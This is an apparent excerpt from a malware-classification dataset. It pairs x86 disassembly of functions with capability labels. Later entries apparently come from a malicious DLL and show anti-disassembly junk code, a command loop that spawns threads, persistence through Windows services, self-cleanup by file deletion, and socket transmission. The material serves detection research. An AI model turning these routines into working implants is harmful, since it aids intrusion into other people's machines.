joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4acfe8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4ad08a
cmp dword [ebx + 0x94], 0
jne 0x4ad084
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4acf34
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4ad084
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4ad04a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4ad084
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0043ab40
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4ad059
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4ad2a8
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x54224c]
cmp dword [eax + 0x170], 0
je 0x4ad40d
test bl, bl
jne 0x4ad35b
cmp dword [esi + 0x9c], 0
jne 0x4ad350
mov eax, esi
call fcn.004b0128
push eax
push 0x4ad1b4
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4ad321
mov eax, dword [0x54224c]
cmp byte [eax + 0xd3], 0
je 0x4ad321
mov eax, dword [esi + 0xd8]
call fcn.00408264
mov edi, eax
cmp edi, 0
jl 0x4ad321
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ad30a
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ad350
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0043ab40
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ad330
inc dword [esi + 0x9c]
jmp 0x4ad40d
cmp dword [esi + 0x9c], 0
jle 0x4ad40d
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4ad40d
cmp dword [esi + 0x44], 0
je 0x4ad3b8
mov eax, dword [0x54224c]
cmp byte [eax + 0xd3], 0
je 0x4ad3b8
mov eax, dword [esi + 0xd8]
call fcn.00408264
mov edi, eax
cmp edi, 0
jl 0x4ad3b8
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ad3a1
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ad3e7
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0043ab40
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ad3c7
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x4a0638]
call fcn.00408424
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4ae050
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4ae0bb
cmp byte [ebx + 0xd3], 0
jne 0x4ae0bb
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406a78
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4ae0a8
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4ae0c8
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406cd0
jmp 0x4ae0c8
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406cd0
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4af890
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4af8fe
mov eax, esi
call fcn.004762c4
test al, al
je 0x4af8fe
mov eax, dword [ebx + 0x84]
call fcn.00475f18
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4af8fe
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4af8f2
push 0
mov eax, dword [ebx + 0x84]
call fcn.00475f18
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0046cf00
jmp 0x4af8fe
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004af6c8
pop esi
pop ebx
ret
Function at 0x4c6ee0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4c7008
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.004c6dcc
mov eax, dword [esi]
call fcn.0040825c
add eax, 0x28
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x416130]
call fcn.00408424
add esp, 4
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
mov ecx, 0x1c
call fcn.0040454c
mov ebx, 0x1c
mov eax, dword [ebp - 4]
lea edx, [eax + ebx]
lea eax, [ebp - 0x2c]
mov ecx, 0x1c
call fcn.0040454c
add ebx, 0x1c
mov eax, dword [esi]
call fcn.0040825c
mov dword [ebp - 0xc], eax
mov eax, dword [0x53bfe4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 4]
mov ecx, ebx
call fcn.004b5a08
add ebx, 4
mov eax, dword [ebp - 4]
add eax, ebx
xor ecx, ecx
mov edx, 3
call fcn.004048a0
add ebx, 3
mov eax, dword [ebp - 4]
mov byte [eax + ebx], 0x3a
inc ebx
mov eax, dword [esi]
mov byte [eax + 2], 0
mov eax, dword [esi]
mov byte [eax + 3], 0
push ebx
mov eax, dword [esi]
call fcn.0040825c
push eax
lea ecx, [ebp - 4]
mov eax, dword [esi]
xor edx, edx
call fcn.004b58f8
mov edx, dword [ebp - 4]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x94]
mov ebx, eax
mov eax, ebx
call fcn.004b56b0
mov edx, esi
mov ecx, dword [ebp + 0x10]
call fcn.004b5a00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c700f
lea eax, [ebp - 4]
mov edx, dword [0x416130]
call fcn.00408430
ret

Function at 0x4f22f0
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
mov eax, ebx
mov edx, 0x10
call fcn.00407410
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
test eax, eax
je 0x4f2315
sub eax, 4
mov eax, dword [eax]
mov dword [esp], eax
push esp
mov eax, dword [ebx]
call fcn.0040729c
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x4f2334
mov eax, ebx
mov edx, dword [esp]
call fcn.00407410
pop ecx
pop edx
pop ebx
ret
Function at 0x52cce0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x52cdd2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406d18
lea eax, [ebp - 4]
call fcn.00406e80
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040729c
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x52cdbc
mov eax, ebx
call fcn.00404380
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x52cdb5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040729c
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x52cd9f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x52cde4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x52cd9f
cmp esi, 1
jne 0x52cd91
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
jmp 0x52cd9f
cmp esi, 2
jne 0x52cd9f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52cdbc
mov eax, dword [ebp - 0x10]
call fcn.0040439c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52cdd9
lea eax, [ebp - 4]
call fcn.00406910
ret
Function at 0x52d0d8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004069f4
lea edi, [ebp - 0x230]
xor eax, eax
push ebp
push 0x52d240
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.0052c4a0
mov esi, eax
mov dword [edi], 0x22c
mov edx, edi
mov eax, esi
call fcn.0052c4c0
mov ebx, eax
jmp 0x52d212
lea eax, [ebp - 0x23c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00407338
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.0041bc40
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x234]
call fcn.0041ab58
mov eax, dword [ebp - 0x234]
push eax
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 4]
call fcn.0041ab58
mov edx, dword [ebp - 0x240]
pop eax
call fcn.00407620
je 0x52d1f2
lea eax, [ebp - 0x248]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00407338
mov eax, dword [ebp - 0x248]
lea edx, [ebp - 0x244]
call fcn.0041ab58
mov eax, dword [ebp - 0x244]
push eax
lea edx, [ebp - 0x24c]
mov eax, dword [ebp - 4]
call fcn.0041ab58
mov edx, dword [ebp - 0x24c]
pop eax
call fcn.00407620
jne 0x52d207
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, edi
mov eax, esi
call fcn.0052c4e0
mov ebx, eax
test ebx, ebx
jne 0x52d153
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52d247
lea eax, [ebp - 0x24c]
mov edx, 7
call fcn.00406970
lea eax, [ebp - 4]
call fcn.00406910
ret
Function at 0x100023c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x68], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
xor eax, eax
je 0x100023de
nop
nop
sub al, 0x2d
pop eax
pop eax
cmp dword [0x100153f0], 0
je 0x100023fc
mov eax, dword [ebp - 0x68]
push eax
push 0
push 0x10003530
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov word [ebp - 0x64], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x62]
rep stosd dword es:[edi], eax
push 0x62
lea ecx, [ebp - 0x64]
push ecx
push 0x10015906
call fcn.10009fb0
add esp, 0xc
test eax, eax
je 0x10002434
lea edx, [ebp - 0x64]
push edx
mov ecx, dword [ebp - 0x68]
add ecx, 4
call fcn.10010010
mov eax, dword [ebp - 0x68]
push eax
push 0
push 0x10002290
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0x1f4c
push str.GDIPLUS.DLL
call fcn.10009760
add esp, 8
test eax, eax
jne 0x1000246d
mov ecx, dword [0x10015004]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002448
mov edx, 1
test edx, edx
je 0x10002515
mov ecx, dword [ebp - 0x68]
add ecx, 0x70
call fcn.10004cb0
mov eax, dword [0x10015010]
push eax
push 0x1f40
mov ecx, dword [ebp - 0x68]
add ecx, 0x70
call fcn.10004b00
test eax, eax
je 0x10002503
mov ecx, dword [ebp - 0x68]
cmp dword [ecx + 0x184], 0
je 0x100024bf
mov edx, dword [ebp - 0x68]
push edx
push 0
push 0x10003530
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov ecx, dword [ebp - 0x68]
call fcn.10002ec0
test eax, eax
je 0x100024e0
push 0
mov eax, dword [0x1001601c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10002503
mov ecx, dword [ebp - 0x68]
add ecx, 0x70
call fcn.10004cb0
push 0
push 0
push 0x5b6
mov ecx, dword [0x10016030]
push ecx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
jmp 0x10002515
mov edx, dword [0x10015004]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000246d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002db0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
mov dword [ebp - 0x204], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x10002dd4
nop
nop
sub al, 0x2d
pop eax
pop eax
mov byte [ebp - 0x100], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x100140e4
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [ebp - 0x200], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [0x1001501c]
push edx
lea eax, [ebp - 0x100]
push eax
push str._s_06x.imk
lea ecx, [ebp - 0x200]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x200]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10015278
call fcn.1000a370
add esp, 4
mov ecx, dword [ebp - 0x204]
call fcn.100034e0
push 0x10015906
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10015806
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10015706
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10015a06
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10015406
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x1001601c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002ec0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10002ede
sub al, 0x2d
pop eax
pop eax
mov eax, 1
test eax, eax
je 0x100030c1
mov dword [ebp - 8], 0
xor ecx, ecx
mov dword [ebp - 4], ecx
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10005820
test eax, eax
jne 0x10002f10
jmp 0x100030c1
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x7532
ja 0x10002f4c
cmp dword [ebp - 0x10], 0x7532
je 0x1000307d
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1f41
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x13
ja case.0x10002f45.11
mov edx, dword [ebp - 0x10]
jmp dword [edx*4 + 0x100030cd]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
sub dword [ebp - 0x14], 0x7534
cmp dword [ebp - 0x14], 0
je 0x10003089
sub dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
je 0x10003097
jmp case.0x10002f45.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x100026d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002520
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x100025a0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x10002620
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov edx, dword [ebp - 4]
push edx
push 0
push 0x10002750
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov eax, dword [ebp - 4]
push eax
push 0
push 0x10002800
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002880
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov edx, dword [ebp - 8]
push edx
push 0
push 0x100029d0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov eax, dword [ebp - 8]
push eax
push 0
push 0x10002a90
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10002ba0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x10002c30
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp case.0x10002f45.11
mov ecx, dword [ebp - 0xc]
call fcn.10002db0
xor eax, eax
jmp 0x100030c6
push 0
mov ecx, dword [ebp - 0xc]
call fcn.10003710
xor eax, eax
jmp 0x100030c6
push 1
mov ecx, dword [ebp - 0xc]
call fcn.10003710
xor eax, eax
jmp 0x100030c6
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
call fcn.10004d60
test eax, eax
jne 0x100030bc
jmp 0x100030c1
jmp 0x10002edf
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003120
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000313e
sub al, 0x2d
pop eax
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003177
xor eax, eax
jmp 0x10003186
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003190
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x100031ae
sub al, 0x2d
pop eax
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100031cf
xor eax, eax
jmp 0x100031ed
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100032a0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
nop
je 0x100032be
nop
nop
sub al, 0x2d
pop eax
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100032df
xor eax, eax
jmp 0x100032ff
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003310
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000332e
sub al, 0x2d
pop eax
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000334f
xor eax, eax
jmp 0x10003369
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10003880
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000389e
sub al, 0x2d
pop eax
pop eax
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10003963
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x10003963
mov word [ebp - 0x11c], 0
xor ecx, ecx
mov dword [ebp - 0x11a], ecx
mov dword [ebp - 0x116], ecx
mov dword [ebp - 0x112], ecx
mov word [ebp - 0x10e], cx
mov edx, dword [ebp - 0x10c]
movsx ecx, word [edx + 0xa]
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax + 0xc]
mov esi, dword [edx]
lea edi, [ebp - 0x118]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004130
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
mov dword [ebp - 0x124], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10004154
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0xc]
jae 0x100042ed
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x100041eb
mov ecx, dword [ebp - 0x120]
sub ecx, 0xffffffff
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x10004215
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp + eax*4 - 0x104]
cmp edx, dword [ecx + 4]
jne 0x10004213
jmp 0x10004215
jmp 0x100041dc
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x108]
jne 0x10004251
cmp dword [ebp - 0x108], 0x40
jae 0x10004251
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
mov dword [ebp + ecx*4 - 0x104], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
xor edx, edx
and edx, edx
jne 0x100041d0
lea eax, [ebp - 0x110]
push eax
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x10004288
xor eax, eax
jmp 0x100042f2
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x100042b8
xor eax, eax
jmp 0x100042f2
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x114]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x11c]
sub ecx, dword [ebp - 0x114]
mov dword [ebp - 0x11c], ecx
jmp 0x100041b7
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8